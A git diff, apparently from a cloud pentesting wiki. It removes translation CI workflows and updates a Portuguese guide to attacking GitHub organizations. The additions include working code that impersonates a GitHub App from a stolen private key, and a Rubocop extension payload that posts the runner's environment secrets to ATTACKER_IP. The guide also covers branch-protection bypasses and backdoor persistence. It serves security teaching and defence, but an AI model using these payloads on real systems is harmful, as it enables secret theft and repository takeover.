git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_tr.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to TR (Turkish)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: tr
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Turkish
BRANCH: tr
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_uk.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to UK (Ukranian)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: uk
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Ukranian
BRANCH: uk
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_zh.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to ZH (Chinese)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: zh
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Chinese
BRANCH: zh
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

224
src/pentesting-ci-cd/github-security/README.md
View File

@@ -4,7 +4,7 @@
## O que é o Github
(De [aqui](https://kinsta.com/knowledgebase/what-is-github/)) Em um nível alto, **o GitHub é um site e um serviço baseado em nuvem que ajuda os desenvolvedores a armazenar e gerenciar seu código, além de rastrear e controlar as alterações em seu código**.
(De [aqui](https://kinsta.com/knowledgebase/what-is-github/)) Em um nível alto, **o GitHub é um site e serviço baseado em nuvem que ajuda os desenvolvedores a armazenar e gerenciar seu código, além de rastrear e controlar alterações em seu código**.
### Informações Básicas
@@ -16,8 +16,8 @@ basic-github-information.md
Os repositórios do Github podem ser configurados como públicos, privados e internos.
- **Privado** significa que **apenas** pessoas da **organização** poderão acessá-los
- **Interno** significa que **apenas** pessoas da **empresa** (uma empresa pode ter várias organizações) poderão acessá-lo
- **Privado** significa que **apenas** pessoas da **organização** poderão acessá-los.
- **Interno** significa que **apenas** pessoas da **empresa** (uma empresa pode ter várias organizações) poderão acessá-lo.
- **Público** significa que **toda a internet** poderá acessá-lo.
Caso você conheça o **usuário, repositório ou organização que deseja atacar**, você pode usar **github dorks** para encontrar informações sensíveis ou pesquisar por **vazamentos de informações sensíveis** **em cada repositório**.
@@ -38,20 +38,14 @@ Por favor, note que os github dorks também são destinados a pesquisar vazament
Ferramentas (cada ferramenta contém sua lista de regexes):
- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
- [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit)
- [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob)
- [https://github.com/anshumanbh/git-all-secrets](https://github.com/anshumanbh/git-all-secrets)
- [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks)
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
Verifique esta página: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
> [!WARNING]
> Quando você procura por vazamentos em um repositório e executa algo como `git log -p`, não se esqueça de que pode haver **outras branches com outros commits** contendo segredos!
### Forks Externos
É possível **comprometer repositórios abusando de pull requests**. Para saber se um repositório é vulnerável, você precisa principalmente ler as configurações yaml das Ações do Github. [**Mais informações sobre isso abaixo**](./#execution-from-a-external-fork).
É possível **comprometer repositórios abusando de pull requests**. Para saber se um repositório é vulnerável, você precisa principalmente ler as configurações yaml das Ações do Github. [**Mais informações sobre isso abaixo**](#execution-from-a-external-fork).
### Vazamentos do Github em forks deletados/internos
@@ -74,7 +68,7 @@ Existem alguns **privilégios padrão** que podem ser atribuídos aos **membros*
- _Não consegui encontrar essa informação na resposta das APIs, compartilhe se você encontrar_
- **Mudança de visibilidade do repositório**: Se habilitado, **membros** com permissões **admin** para o **repositório** poderão **mudar sua visibilidade**. Se desabilitado, apenas os proprietários da organização podem mudar as visibilidades dos repositórios. Se você **não** quiser que as pessoas tornem as coisas **públicas**, certifique-se de que isso esteja **desabilitado**.
- _Não consegui encontrar essa informação na resposta das APIs, compartilhe se você encontrar_
- **Exclusão e transferência de repositórios**: Se habilitado, membros com permissões **admin** para o repositório poderão **excluir** ou **transferir** repositórios públicos e privados.
- **Exclusão e transferência de repositórios**: Se habilitado, membros com permissões **admin** para o repositório poderão **excluir** ou **transferir** repositórios **públicos e privados**.
- _Não consegui encontrar essa informação na resposta das APIs, compartilhe se você encontrar_
- **Permitir que membros criem equipes**: Se habilitado, qualquer **membro** da organização poderá **criar** novas **equipes**. Se desabilitado, apenas os proprietários da organização podem criar novas equipes. É melhor ter isso desabilitado.
- _Não consegui encontrar essa informação na resposta das APIs, compartilhe se você encontrar_
@@ -85,7 +79,7 @@ Existem alguns **privilégios padrão** que podem ser atribuídos aos **membros*
Várias configurações relacionadas à segurança podem ser configuradas para ações a partir da página `https://github.com/organizations/<org_name>/settings/actions`.
> [!NOTE]
> Note que todas essas configurações também podem ser definidas em cada repositório de forma independente
> Note que todas essas configurações também podem ser definidas em cada repositório de forma independente.
- **Políticas de ações do Github**: Permite indicar quais repositórios podem executar fluxos de trabalho e quais fluxos de trabalho devem ser permitidos. É recomendado **especificar quais repositórios** devem ser permitidos e não permitir que todas as ações sejam executadas.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
@@ -93,7 +87,7 @@ Várias configurações relacionadas à segurança podem ser configuradas para a
- _Não consegui encontrar uma API com essa informação, compartilhe se você encontrar_
- **Executar fluxos de trabalho de pull requests de forks**: É altamente **desaconselhado executar fluxos de trabalho de pull requests** pois os mantenedores do fork de origem terão a capacidade de usar tokens com permissões de leitura no repositório de origem.
- _Não consegui encontrar uma API com essa informação, compartilhe se você encontrar_
- **Permissões de fluxo de trabalho**: É altamente recomendado **dar apenas permissões de leitura do repositório**. É desaconselhado dar permissões de escrita e criar/aprovar pull requests para evitar o abuso do GITHUB_TOKEN dado para fluxos de trabalho em execução.
- **Permissões de fluxo de trabalho**: É altamente recomendado **dar apenas permissões de leitura do repositório**. É desaconselhado dar permissões de escrita e criar/aprovar pull requests para evitar o abuso do GITHUB_TOKEN dado aos fluxos de trabalho em execução.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
### Integrações
@@ -116,13 +110,13 @@ Note que **2FA pode ser usado**, então você só poderá acessar essas informa
> [!NOTE]
> Note que se você **conseguir roubar o cookie `user_session`** (atualmente configurado com SameSite: Lax), você pode **impersonar completamente o usuário** sem precisar de credenciais ou 2FA.
Verifique a seção abaixo sobre [**bypass de proteções de branch**](./#branch-protection-bypass) caso seja útil.
Verifique a seção abaixo sobre [**bypasses de proteção de branch**](#branch-protection-bypass) caso seja útil.
### Com Chave SSH de Usuário
O Github permite que **usuários** configurem **chaves SSH** que serão usadas como **método de autenticação para implantar código** em seu nome (nenhuma 2FA é aplicada).
O Github permite que **usuários** definam **chaves SSH** que serão usadas como **método de autenticação para implantar código** em seu nome (nenhuma 2FA é aplicada).
Com essa chave, você pode realizar **alterações em repositórios onde o usuário tem alguns privilégios**, no entanto, você não pode usá-la para acessar a API do github para enumerar o ambiente. No entanto, você pode **enumerar configurações locais** para obter informações sobre os repositórios e o usuário ao qual você tem acesso:
Com esta chave, você pode realizar **alterações em repositórios onde o usuário tem alguns privilégios**, no entanto, você não pode usá-la para acessar a API do github para enumerar o ambiente. No entanto, você pode **enumerar configurações locais** para obter informações sobre os repositórios e o usuário ao qual você tem acesso:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
@@ -130,11 +124,11 @@ git config --list
```
Se o usuário configurou seu nome de usuário como seu nome de usuário do github, você pode acessar as **chaves públicas que ele configurou** em sua conta em _https://github.com/\<github_username>.keys_, você pode verificar isso para confirmar se a chave privada que você encontrou pode ser usada.
**Chaves SSH** também podem ser configuradas em repositórios como **chaves de implantação**. Qualquer pessoa com acesso a essa chave poderá **iniciar projetos de um repositório**. Normalmente, em um servidor com diferentes chaves de implantação, o arquivo local **`~/.ssh/config`** fornecerá informações sobre a chave relacionada.
**Chaves SSH** também podem ser configuradas em repositórios como **chaves de implantação**. Qualquer pessoa com acesso a essa chave poderá **iniciar projetos a partir de um repositório**. Normalmente, em um servidor com diferentes chaves de implantação, o arquivo local **`~/.ssh/config`** fornecerá informações sobre a chave relacionada.
#### Chaves GPG
Como explicado [**aqui**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), às vezes é necessário assinar os commits ou você pode ser descoberto.
Conforme explicado [**aqui**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), às vezes é necessário assinar os commits ou você pode ser descoberto.
Verifique localmente se o usuário atual possui alguma chave com:
```shell
@@ -146,13 +140,13 @@ Para uma introdução sobre [**Tokens de Usuário, verifique as informações b
Um token de usuário pode ser usado **em vez de uma senha** para Git sobre HTTPS, ou pode ser usado para [**autenticar na API via Autenticação Básica**](https://docs.github.com/v3/auth/#basic-authentication). Dependendo dos privilégios associados a ele, você pode ser capaz de realizar diferentes ações.
Um token de usuário se parece com isso: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
Um token de usuário se parece com isto: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
### Com Aplicativo Oauth
Para uma introdução sobre [**Aplicativos Oauth do Github, verifique as informações básicas**](basic-github-information.md#oauth-applications).
Um atacante pode criar um **Aplicativo Oauth malicioso** para acessar dados/ações privilegiados dos usuários que o aceitam, provavelmente como parte de uma campanha de phishing.
Um atacante pode criar um **Aplicativo Oauth malicioso** para acessar dados/ações privilegiados dos usuários que os aceitam, provavelmente como parte de uma campanha de phishing.
Esses são os [escopos que um aplicativo Oauth pode solicitar](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Um deve sempre verificar os escopos solicitados antes de aceitá-los.
@@ -162,51 +156,201 @@ Além disso, como explicado nas informações básicas, **as organizações pode
Para uma introdução sobre [**Aplicativos do Github, verifique as informações básicas**](basic-github-information.md#github-applications).
Um atacante pode criar um **Aplicativo Github malicioso** para acessar dados/ações privilegiados dos usuários que o aceitam, provavelmente como parte de uma campanha de phishing.
Um atacante pode criar um **Aplicativo Github malicioso** para acessar dados/ações privilegiados dos usuários que os aceitam, provavelmente como parte de uma campanha de phishing.
Além disso, como explicado nas informações básicas, **as organizações podem conceder/negá-los acesso a aplicativos de terceiros** a informações/repos/ações relacionadas à organização.
## Compromisso e Abuso da Ação do Github
#### Impersonar um App do GitHub com sua chave privada (JWT → tokens de acesso de instalação)
Existem várias técnicas para comprometer e abusar de uma Ação do Github, verifique-as aqui:
Se você obtiver a chave privada (PEM) de um App do GitHub, poderá impersonar totalmente o app em todas as suas instalações:
- Gere um JWT de curta duração assinado com a chave privada
- Chame a API REST do App do GitHub para enumerar instalações
- Crie tokens de acesso por instalação e use-os para listar/clonar/enviar para repositórios concedidos a essa instalação
Requisitos:
- Chave privada do App do GitHub (PEM)
- ID do App do GitHub (numérico). O GitHub requer que iss seja o ID do App
Crie JWT (RS256):
```python
#!/usr/bin/env python3
import time, jwt
with open("priv.pem", "r") as f:
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60, # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
```
Liste as instalações para o aplicativo autenticado:
```bash
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
```
Crie um token de acesso de instalação (válido ≤ 10 minutos):
```bash
INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
```
Use o token para acessar o código. Você pode clonar ou enviar usando a forma de URL x‑access‑token:
```bash
TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository
```
PoC programático para direcionar uma organização específica e listar repositórios privados (PyGithub + PyJWT):
```python
#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration
with open("priv.pem", "r") as f:
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
ORG = "someorg"
def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")
auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
installation = GI.get_org_installation(ORG)
print(f"Installation ID: {installation.id}")
jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]
print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
```
Notas:
- Tokens de instalação herdam exatamente as permissões de nível de repositório do aplicativo (por exemplo, contents: write, pull_requests: write)
- Tokens expiram em ≤10 minutos, mas novos tokens podem ser gerados indefinidamente enquanto você mantiver a chave privada
- Você também pode enumerar instalações via a API REST (GET /app/installations) usando o JWT
## Comprometimento & Abuso do Github Action
Existem várias técnicas para comprometer e abusar de um Github Action, confira-as aqui:
{{#ref}}
abusing-github-actions/
{{#endref}}
## Abusando de aplicativos GitHub de terceiros que executam ferramentas externas (RCE da extensão Rubocop)
Alguns aplicativos GitHub e serviços de revisão de PR executam linters/SAST externos contra pull requests usando arquivos de configuração controlados pelo repositório. Se uma ferramenta suportada permitir o carregamento dinâmico de código, um PR pode alcançar RCE no runner do serviço.
Exemplo: Rubocop suporta o carregamento de extensões a partir de sua configuração YAML. Se o serviço passar por um .rubocop.yml fornecido pelo repositório, você pode executar Ruby arbitrário ao requerer um arquivo local.
- As condições de disparo geralmente incluem:
- A ferramenta está habilitada no serviço
- O PR contém arquivos que a ferramenta reconhece (para Rubocop: .rb)
- O repositório contém o arquivo de configuração da ferramenta (Rubocop procura por .rubocop.yml em qualquer lugar)
Arquivos de exploração no PR:
.rubocop.yml
```yaml
require:
- ./ext.rb
```
ext.rb (exfiltrar variáveis de ambiente do runner):
```ruby
require 'net/http'
require 'uri'
require 'json'
env_vars = ENV.to_h
json_data = env_vars.to_json
url = URI.parse('http://ATTACKER_IP/')
begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
end
```
Também inclua um arquivo Ruby fictício suficientemente grande (por exemplo, main.rb) para que o linter realmente funcione.
Impacto observado no mundo real:
- Execução completa de código no runner de produção que executou o linter
- Exfiltração de variáveis de ambiente sensíveis, incluindo a chave privada do GitHub App usada pelo serviço, chaves de API, credenciais de DB, etc.
- Com uma chave privada do GitHub App vazada, você pode gerar tokens de instalação e obter acesso de leitura/gravação a todos os repositórios concedidos a esse app (veja a seção acima sobre a impersonação do GitHub App)
Diretrizes de endurecimento para serviços que executam ferramentas externas:
- Trate as configurações de ferramentas fornecidas pelo repositório como código não confiável
- Execute ferramentas em sandboxes isoladas com rigor, sem variáveis de ambiente sensíveis montadas
- Aplique credenciais de menor privilégio e isolamento de sistema de arquivos, e restrinja/negue a saída de rede para ferramentas que não requerem acesso à internet
## Bypass de Proteção de Branch
- **Exigir um número de aprovações**: Se você comprometeu várias contas, pode simplesmente aceitar seus PRs de outras contas. Se você apenas tem a conta de onde criou o PR, não pode aceitar seu próprio PR. No entanto, se você tiver acesso a um ambiente de **Ação do Github** dentro do repositório, usando o **GITHUB_TOKEN**, pode ser capaz de **aprovar seu PR** e obter 1 aprovação dessa forma.
- _Nota para isso e para a restrição de Proprietários de Código que geralmente um usuário não poderá aprovar seus próprios PRs, mas se você puder, pode abusar disso para aceitar seus PRs._
- **Rejeitar aprovações quando novos commits são enviados**: Se isso não estiver configurado, você pode enviar código legítimo, esperar até que alguém o aprove, e colocar código malicioso e mesclá-lo na branch protegida.
- **Exigir revisões de Proprietários de Código**: Se isso estiver ativado e você for um Proprietário de Código, pode fazer uma **Ação do Github criar seu PR e então aprová-lo você mesmo**.
- Quando um **arquivo CODEOWNER está mal configurado**, o Github não reclama, mas não o utiliza. Portanto, se estiver mal configurado, **a proteção de Proprietários de Código não é aplicada.**
- **Exigir um número de aprovações**: Se você comprometeu várias contas, pode simplesmente aceitar seus PRs de outras contas. Se você tiver apenas a conta de onde criou o PR, não poderá aceitar seu próprio PR. No entanto, se você tiver acesso a um ambiente **Github Action** dentro do repositório, usando o **GITHUB_TOKEN**, pode ser capaz de **aprovar seu PR** e obter 1 aprovação dessa forma.
- _Nota para isso e para a restrição de Code Owners que geralmente um usuário não poderá aprovar seus próprios PRs, mas se você puder, pode abusar disso para aceitar seus PRs._
- **Rejeitar aprovações quando novos commits são enviados**: Se isso não estiver configurado, você pode enviar código legítimo, esperar até que alguém o aprove e colocar código malicioso e mesclá-lo no branch protegido.
- **Exigir revisões de Code Owners**: Se isso estiver ativado e você for um Code Owner, poderá fazer um **Github Action criar seu PR e então aprová-lo você mesmo**.
- Quando um **arquivo CODEOWNER está mal configurado**, o Github não reclama, mas não o utiliza. Portanto, se estiver mal configurado, **a proteção de Code Owners não é aplicada.**
- **Permitir que atores especificados contornem os requisitos de pull request**: Se você for um desses atores, pode contornar as proteções de pull request.
- **Incluir administradores**: Se isso não estiver configurado e você for administrador do repositório, pode contornar essas proteções de branch.
- **Sequestro de PR**: Você pode ser capaz de **modificar o PR de outra pessoa** adicionando código malicioso, aprovando o PR resultante você mesmo e mesclando tudo.
- **Removendo Proteções de Branch**: Se você for um **administrador do repositório, pode desativar as proteções**, mesclar seu PR e reativar as proteções.
- **Contornando proteções de push**: Se um repositório **somente permite que certos usuários** enviem push (mesclem código) em branches (a proteção de branch pode estar protegendo todas as branches especificando o curinga `*`).
- Se você tiver **acesso de escrita sobre o repositório, mas não for permitido enviar código** por causa da proteção de branch, ainda pode **criar uma nova branch** e dentro dela criar uma **ação do github que é acionada quando o código é enviado**. Como a **proteção de branch não protegerá a branch até que ela seja criada**, esse primeiro envio de código para a branch **executará a ação do github**.
- Se você tiver **acesso de gravação ao repositório, mas não for permitido enviar código** devido à proteção de branch, ainda pode **criar uma nova branch** e dentro dela criar uma **github action que é acionada quando o código é enviado**. Como a **proteção de branch não protegerá a branch até que seja criada**, esse primeiro push de código para a branch **executará a github action**.
## Contornar Proteções de Ambientes
Para uma introdução sobre [**Ambiente do Github, verifique as informações básicas**](basic-github-information.md#git-environments).
Para uma introdução sobre [**Github Environment, verifique as informações básicas**](basic-github-information.md#git-environments).
Caso um ambiente possa ser **acessado de todas as branches**, ele **não está protegido** e você pode facilmente acessar os segredos dentro do ambiente. Note que você pode encontrar repositórios onde **todas as branches estão protegidas** (especificando seus nomes ou usando `*`); nesse cenário, **encontre uma branch onde você possa enviar código** e você pode **exfiltrar** os segredos criando uma nova ação do github (ou modificando uma).
Caso um ambiente possa ser **acessado de todas as branches**, ele **não está protegido** e você pode acessar facilmente os segredos dentro do ambiente. Note que você pode encontrar repositórios onde **todas as branches estão protegidas** (especificando seus nomes ou usando `*`); nesse cenário, **encontre uma branch onde você possa enviar código** e você pode **exfiltrar** os segredos criando uma nova github action (ou modificando uma).
Note que você pode encontrar o caso extremo onde **todas as branches estão protegidas** (via curinga `*`), é especificado **quem pode enviar código para as branches** (_você pode especificar isso na proteção de branch_) e **seu usuário não é permitido**. Você ainda pode executar uma ação do github personalizada porque pode criar uma branch e usar o gatilho de push sobre ela mesma. A **proteção de branch permite o push para uma nova branch, então a ação do github será acionada**.
Observe que você pode encontrar o caso extremo onde **todas as branches estão protegidas** (via curinga `*`), é especificado **quem pode enviar código para as branches** (_você pode especificar isso na proteção de branch_) e **seu usuário não é permitido**. Você ainda pode executar uma github action personalizada porque pode criar uma branch e usar o gatilho de push sobre ela mesma. A **proteção de branch permite o push para uma nova branch, então a github action será acionada**.
```yaml
push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
```
Note que **após a criação** do branch, a **proteção do branch será aplicada ao novo branch** e você não poderá modificá-lo, mas nesse tempo você já terá extraído os segredos.
Note que **após a criação** do branch, a **proteção do branch se aplicará ao novo branch** e você não poderá modificá-lo, mas nesse tempo você já terá extraído os segredos.
## Persistência
- Gerar **token de usuário**
- Roubar **tokens do github** de **segredos**
- **Deleção** de **resultados** e **branches** de workflow
- **Deleção** de **resultados** de workflow e **branches**
- Dar **mais permissões a toda a org**
- Criar **webhooks** para exfiltrar informações
- Convidar **colaboradores externos**
@@ -214,7 +358,7 @@ Note que **após a criação** do branch, a **proteção do branch será aplicad
- Criar/modificar **Github Action** com uma **backdoor**
- Encontrar **Github Action vulnerável a injeção de comando** via modificação de valor de **segredo**
### Commits de Impostor - Backdoor via commits de repositório
### Commits Falsos - Backdoor via commits de repositório
No Github, é possível **criar um PR para um repositório a partir de um fork**. Mesmo que o PR **não seja aceito**, um **commit** id dentro do repositório original será criado para a versão fork do código. Portanto, um atacante **poderia fixar o uso de um commit específico de um repositório aparentemente legítimo que não foi criado pelo proprietário do repositório**.
@@ -233,4 +377,12 @@ echo 'hello world!'
```
Para mais informações, consulte [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
## Referências
- [Como exploramos o CodeRabbit: de um PR simples a RCE e acesso de gravação em 1M repositórios](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
- [Extensões do Rubocop (require)](https://docs.rubocop.org/rubocop/latest/extensions.html)
- [Autenticando com um GitHub App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
- [Listar instalações para o aplicativo autenticado](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
